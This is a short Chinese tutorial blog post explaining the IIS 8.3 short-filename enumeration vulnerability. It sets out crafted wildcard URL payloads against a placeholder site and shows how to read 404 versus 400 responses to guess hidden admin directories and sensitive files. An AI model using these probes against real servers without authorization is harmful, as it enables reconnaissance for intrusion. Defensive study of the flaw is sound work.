IIS短文件名的漏洞详解

 一、漏洞的成因
 
 1、为了兼容16位MS-DOS程序,Windows为文件名较长的文件(文件夹)生成了对应的windows8.3短文件名。
 
 在Windows下查看对应的短文件名,可以使用命令dir/x。
 
 2、短文件名有如下特征:
 
 a、只有前六位字符直接显示,后续字符用~1指代。其中数字1还可以递增,如果存在多个文件名类似的文件,像前六位相同的话,而且后缀前3位必须相同。
 
 b、后缀名最长只有3位,多余的被截断。
 
 3、我们可以启用.net的iis下暴力列举短文件名,原因是:
 
 a、访问构造的某个存在的短文件名,会返回404。
 
 b、访问构造的某个不存在的短文件名,会返回400。
 
  二、漏洞的利用
 
 1、需要使用到通配符*。*可以匹配n个字符,n可以为0.判断某站点是否存在iis段文件名暴力破解,构造payload,分别访问以下两个url。
 
 a、http://www.xxxx.com/*~1***/a.aspx
 
 b、http://www.xxxx.com/dad*~1***/a.aspx/
 
 2、如果404则文件存在,继续猜解
 
 a、http://www.xxxx.com/a*~1***/a.aspx404
 
 b、http://www.xxxx.com/ad*~1***/a.aspx404
 
 c、http://www.xxxx.com/adm*~1***/a.aspx
 
 3、依次类推,一个一个枚举就可以进行下去。
 
 注意:如果admin开头的是一个文件夹,则
 
 http://www.xxxx.com/admin*~1/a.aspx会是404的。
 
 4、继续猜解
 
 http://www.xxxx.com/admin*~1*g*/a.aspx
 
 如果404,则扩展名肯定有g,按这个思路继续。
 
  三、实际用处
 
 1、猜后台。
 
 2、猜敏感文件。
 
 3、一些情况,可以通过短文件名直接下载对应的文件。
 
  四、局限性
 
 1、只能猜6位,以及扩展名前3位。
 
 2、名称较短的文件是没有相应的短文件名的。
 
 3、需要iis和.net两个条件都满足。
 
参考来源:http://www.iis7.com/a/nr/20180828459.html
posted @ 2018-09-07 09:10  疯子的疯狂  阅读(5611)  评论(0编辑  收藏  举报